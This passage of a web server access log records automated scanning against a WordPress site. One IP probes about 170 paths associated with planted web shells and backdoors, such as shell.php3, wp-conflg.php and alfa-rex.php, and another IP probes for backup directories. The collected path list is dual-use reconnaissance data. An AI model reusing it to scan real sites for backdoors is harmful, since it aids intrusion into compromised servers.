52.164.245.231 - - [24/Apr/2025:02:58:14 -0400] "GET /xc.php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:58:16 -0400] "GET /wp-includes/assets/about.php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:58:17 -0400] "GET /ge.php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:58:19 -0400] "GET /sim.php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:58:20 -0400] "GET /wp-admin/user/plugins.php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:58:23 -0400] "GET /wp-admin/css/wp-conflg.php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:58:25 -0400] "GET /cache/d/b/f/e/ovaioxoql.php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:58:26 -0400] "GET /wp-content/plugins/seoxx/randkeyword.php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:58:27 -0400] "GET /wp-includes/ID3/file.php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:58:28 -0400] "GET /.well-known/item.php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:58:30 -0400] "GET /wp-includes/mah.php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:58:31 -0400] "GET /copypaths.php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:58:32 -0400] "GET /uzihbfah.php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:58:33 -0400] "GET /wp-admin/css/colors/midnight/about.php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:58:34 -0400] "GET /wp-includes/theme-compat/plugins.php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:58:35 -0400] "GET /wp-includes/wp-includes/about.php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:58:36 -0400] "GET /wp-content/admin.php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:58:36 -0400] "GET /wp-includes/assets/archives-1736057179.php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:58:37 -0400] "GET /wp-includes/php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:58:38 -0400] "GET /.well-known/acme-challenge/options.php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:58:39 -0400] "GET /.well-known/fm.php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:58:40 -0400] "GET /wordpress/wp-content/plugins/yqeH2A5oLXfIFNVSl856Wm/src/ui/index.php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:58:41 -0400] "GET /wp-content/plugins/pwnd/classwithtostring.php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:58:42 -0400] "GET /.well-known/okercskj.php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:58:43 -0400] "GET /ans.php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:58:44 -0400] "GET /wp-includes/ID3/index.php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:58:44 -0400] "GET /admin/uploads/Property_5bb750a72c247.php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:58:45 -0400] "GET /wp-admin/network/wp-conflg.php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:58:46 -0400] "GET /wp-includes/pomo/ftp_nb_fget.php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:58:47 -0400] "GET /bk/index.php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:58:47 -0400] "GET /wp-admin/network/admin.php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:58:48 -0400] "GET /unsveanq.php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:58:50 -0400] "GET /wp-class.php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:58:54 -0400] "GET /.well-known/acme-challenge/inputs.php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:58:56 -0400] "GET /wp-admin/classwithtostring.php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:58:58 -0400] "GET /readme.php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:59:01 -0400] "GET /wp-content/uploads/wp-conflg.php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:59:03 -0400] "GET /wp-includes/Text/Diff/Renderer/about.php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:59:04 -0400] "GET /wp-includes/theme-compat/wp-conflg.php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:59:05 -0400] "GET /wp-content/plugins/ubh/up.php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:59:06 -0400] "GET /wp-includes/css/wp-conflg.php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:59:07 -0400] "GET /wp-admin/css/colors/coffee/lofter.php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:59:07 -0400] "GET /click.php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:59:08 -0400] "GET /0.php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:59:09 -0400] "GET /flower.php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:59:09 -0400] "GET /wp-content/classwithtostring.php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:59:10 -0400] "GET /wp-admin/includes/12wvdscz.php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:59:11 -0400] "GET /wp-content/dropdown.php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:59:12 -0400] "GET /wp-content/uploads/wpr-addons/forms/cm.php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:59:13 -0400] "GET /.well-known/acme-challenge/object.php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:59:14 -0400] "GET /randkeyword.php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:59:15 -0400] "GET /uctshcum.php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:59:16 -0400] "GET /wp-admin/js/widgets/install.php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:59:18 -0400] "GET /wp-files.php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:59:18 -0400] "GET /cms.php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:59:19 -0400] "GET /shell.php3 HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:59:20 -0400] "GET /wp-content/themes/pridmag/layout.php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:59:21 -0400] "GET /wp-admin/css/colors/coffee/biASsM.php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:59:21 -0400] "GET /wp-content/plugins/shell/noimg.php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:59:22 -0400] "GET /.well-known/cd.php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:59:23 -0400] "GET /wp-content/themes/astra/inc/ki1k.php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:59:23 -0400] "GET /css/cbimsyft.php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:59:24 -0400] "GET /wp-content/plugins/kvyiipi/ovasoksxl.php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:59:25 -0400] "GET /.well-known/acme-challenge/db-update.php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:59:26 -0400] "GET /.well-known/acme-challenge/item.php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:59:27 -0400] "GET /wp-includes/css/index.php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:59:31 -0400] "GET /assets/css/source/attention_seekers/ovagvggbs.php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:59:33 -0400] "GET /wp-content/themes/understrap/sass/theme/ovafzspyx.php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:59:34 -0400] "GET /wp-includes/Requests/input.php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:59:35 -0400] "GET /wp-content/themes/hideo/network.php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:59:35 -0400] "GET /wp-admin/js/widgets/jTQPHG.php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:59:36 -0400] "GET /wp-includes/images/search_template_1735125075.php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:59:37 -0400] "GET /wp-admin/user/index.php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:59:38 -0400] "GET /files/function.php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:59:39 -0400] "GET /wp-admin/includes/index.php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:59:39 -0400] "GET /wp-includes/html-api/chosen.php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:59:40 -0400] "GET /wp-admin/css/colors/coffee/HrEPYzCPRv.php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:59:41 -0400] "GET /wp-content/plugins/elementor-pro/modules/popup/ovaqagfqe.php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:59:41 -0400] "GET /wp-content/themes/twentytwentytwo/index.php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:59:42 -0400] "GET /.well-known/ggmdjzys.php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:59:43 -0400] "GET /bless.php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:59:43 -0400] "GET /wp-includes/css/xc.php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:59:44 -0400] "GET /.well-known/wp-load.php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:59:45 -0400] "GET /contents.php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:59:46 -0400] "GET /images/index.php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:59:47 -0400] "GET /wp-includes/sodium_compat/src/index.php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:59:47 -0400] "GET /.well-known/r.php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:59:48 -0400] "GET /wp-content/1.php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:59:49 -0400] "GET /wp-admin/js/item.php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:59:50 -0400] "GET /wp-content/uploads/wpr-addons/forms/b1ack.php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:59:51 -0400] "GET /wp-admin/class-db.php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:59:52 -0400] "GET /13.php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:59:53 -0400] "GET /admin/uploads/d.php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:59:54 -0400] "GET /wp-admin/css/colors/blue/1.php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:59:56 -0400] "GET /wp-includes/images/sxo.php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:59:56 -0400] "GET /.well-known/acme-challenge/309851/index.php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:59:57 -0400] "GET /wp-admin/includes/plugins.php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:59:58 -0400] "GET /tinyfilemanager.php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:59:59 -0400] "GET /wp-includes/buy.php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:59:59 -0400] "GET /wp-includes/fonts/class-wp-font-collection.php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:03:00:00 -0400] "GET /wp-includes/images/smilies/migrate.php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:03:00:01 -0400] "GET /ccx/admin.php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:03:00:02 -0400] "GET /welcome/wp-content/plugins/erinyani/asasx.php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:03:00:03 -0400] "GET /.well-known/lsouyppu.php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:03:00:04 -0400] "GET /.well-known/xin1.php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:03:00:06 -0400] "GET /.well-known/acme-challenge/class_api.php999 HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:03:00:10 -0400] "GET /aj.php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:03:00:14 -0400] "GET /wp-content/uploads/wpr-addons/forms/elp.php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:03:00:19 -0400] "GET /class-php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:03:00:20 -0400] "GET /ss.php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:03:00:21 -0400] "GET /wp-admin/maint/wp-act.php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:03:00:24 -0400] "GET /.well-known/custom.file.1.1735117699.php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:03:00:24 -0400] "GET /wp-includes/css/zmFM.php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:03:00:26 -0400] "GET /wp-includes/js/tinymce/skins/lightgray/img/about.php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:03:00:27 -0400] "GET /raf.php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:03:00:28 -0400] "GET /smartoptimizer/cache/842900/index.php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:03:00:28 -0400] "GET /wp-admin/includes/admin-header.php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:03:00:30 -0400] "GET /wp-content/themes/calmly/issue.php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:03:00:30 -0400] "GET /wp-admin/js/maila.php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:03:00:31 -0400] "GET /wp-admin/js/wp-czfnv.php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:03:00:32 -0400] "GET /.well-known/file.php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:03:00:33 -0400] "GET /wp-includes/theme-compat/chosen.php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:03:00:34 -0400] "GET /.well-known/avdotiet.php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:03:00:35 -0400] "GET /wp-includes/html-api/cloud.php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:03:00:36 -0400] "GET /wp-includes/link.php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:03:00:37 -0400] "GET /wp-admin/network/lock.php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:03:00:38 -0400] "GET /wp-content/plugins/elementor/about.php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:03:00:40 -0400] "GET /wp-includes/block-editor.php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:03:00:41 -0400] "GET /components/com_wrapper/views/index.php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:03:00:42 -0400] "GET /ty.php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:03:00:44 -0400] "GET /wp-content/plugins/helloapx/wp-apxupx.php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:03:00:45 -0400] "GET /wp-content/themes/rttheme18/images/colors/ovakiiphb.php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:03:00:46 -0400] "GET /wp-includes/beofdecn.php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:03:00:47 -0400] "GET /assets/images/88123af40d.php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:03:00:48 -0400] "GET /.well-known/ajfghdbd.php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:03:00:50 -0400] "GET /wp-admin/maint/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:03:00:51 -0400] "GET /wp-content/tmpls.php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:03:00:52 -0400] "GET /wp-content/plugins/erinyani/baxa1.php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:03:00:55 -0400] "GET /wp-content/themes/deeto/login.php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:03:00:56 -0400] "GET /wp-admin/js/widgets/come.php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:03:00:57 -0400] "GET /wp-content/plugins/alfa-rex.php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:03:00:58 -0400] "GET /wp-includes/ID3/plugins.php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:03:01:01 -0400] "GET /wp-admin/css/colors/sxo.php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:03:01:03 -0400] "GET /OVA-UNAME.php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:03:01:05 -0400] "GET /adminer.php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:03:01:07 -0400] "GET /vendor/php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:03:01:09 -0400] "GET /wp-includes/css/custom-file-5-1735118957.php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:03:01:10 -0400] "GET /wp-content/themes/intense/block-css.php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:03:01:12 -0400] "GET /wp-add.php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:03:01:15 -0400] "GET /wp-includes/assets/index.php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:03:01:20 -0400] "GET /wp-admin/images/classwithtostring.php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:03:01:23 -0400] "GET /wp-includes/sodium_compat/src/about.php HTTP/1.1" 301 795 "-" "-" 54.36.148.186 - - [24/Apr/2025:03:23:00 -0400] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; AhrefsBot/7.0; +http://ahrefs.com/robot/)" 157.230.22.193 - - [24/Apr/2025:04:26:01 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686 on x86_64; rv:47.0) Gecko/20100101 Firefox/47.0" 101.33.66.34 - - [24/Apr/2025:05:34:11 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 43.130.39.254 - - [24/Apr/2025:07:08:33 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 82.43.226.96 - - [24/Apr/2025:08:11:30 -0400] "GET / HTTP/1.1" 301 795 "http://designpitara.com/" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36" 185.21.14.193 - - [24/Apr/2025:09:56:19 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36" 212.118.53.218 - - [24/Apr/2025:11:04:02 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36" 49.51.178.45 - - [24/Apr/2025:11:20:18 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 72.255.26.122 - - [24/Apr/2025:11:47:37 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36" 72.255.26.122 - - [24/Apr/2025:11:47:46 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36" 182.42.105.144 - - [24/Apr/2025:11:52:42 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 196.117.171.196 - - [24/Apr/2025:12:01:39 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4240.193 Safari/537.36" 43.133.253.253 - - [24/Apr/2025:12:59:59 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 162.241.253.195 - - [24/Apr/2025:13:00:56 -0400] "GET / HTTP/1.1" 301 795 "http://designpitara.com/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36" 13.235.18.135 - - [24/Apr/2025:13:25:43 -0400] "HEAD /wordpress HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 13.235.18.135 - - [24/Apr/2025:13:25:48 -0400] "HEAD / HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 13.235.18.135 - - [24/Apr/2025:13:25:49 -0400] "HEAD /wp HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 13.235.18.135 - - [24/Apr/2025:13:25:54 -0400] "HEAD /bc HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 13.235.18.135 - - [24/Apr/2025:13:25:57 -0400] "HEAD /bk HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 13.235.18.135 - - [24/Apr/2025:13:25:59 -0400] "HEAD /backup HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 13.235.18.135 - - [24/Apr/2025:13:26:00 -0400] "HEAD /old HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 13.235.18.135 - - [24/Apr/2025:13:26:02 -0400] "HEAD /new HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 13.235.18.135 - - [24/Apr/2025:13:26:04 -0400] "HEAD /main HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 13.235.18.135 - - [24/Apr/2025:13:26:07 -0400] "HEAD /home HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 66.249.79.105 - - [24/Apr/2025:13:40:21 -0400] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" 66.249.79.106 - - [24/Apr/2025:13:40:21 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" 138.199.15.154 - - [24/Apr/2025:14:18:30 -0400] "GET / HTTP/1.1" 301 795 "http://designpitara.com/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36" 165.22.63.163 - - [24/Apr/2025:14:37:05 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36" 91.84.103.183 - - [24/Apr/2025:14:39:15 -0400] "GET / HTTP/1.1" 301 795 "http://designpitara.com/" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36" 195.2.78.89 - - [24/Apr/2025:14:50:28 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36" 223.15.245.170 - - [24/Apr/2025:15:13:26 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 2a0e:d604:1:3e2::2 - - [24/Apr/2025:15:15:22 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" 165.154.226.31 - - [24/Apr/2025:15:48:27 -0400] "GET / HTTP/1.1" 301 795 "-" "Embarcadero URI Client/1.0" 103.77.107.199 - - [24/Apr/2025:15:51:27 -0400] "GET /.well-known/pki-validation/wp-login.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 198.98.59.202 - - [24/Apr/2025:16:10:34 -0400] "GET / HTTP/1.1" 301 795 "http://www.google.com.hk" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.90 Safari/537.36" 54.244.108.252 - - [24/Apr/2025:17:05:47 -0400] "GET / HTTP/1.1" 301 795 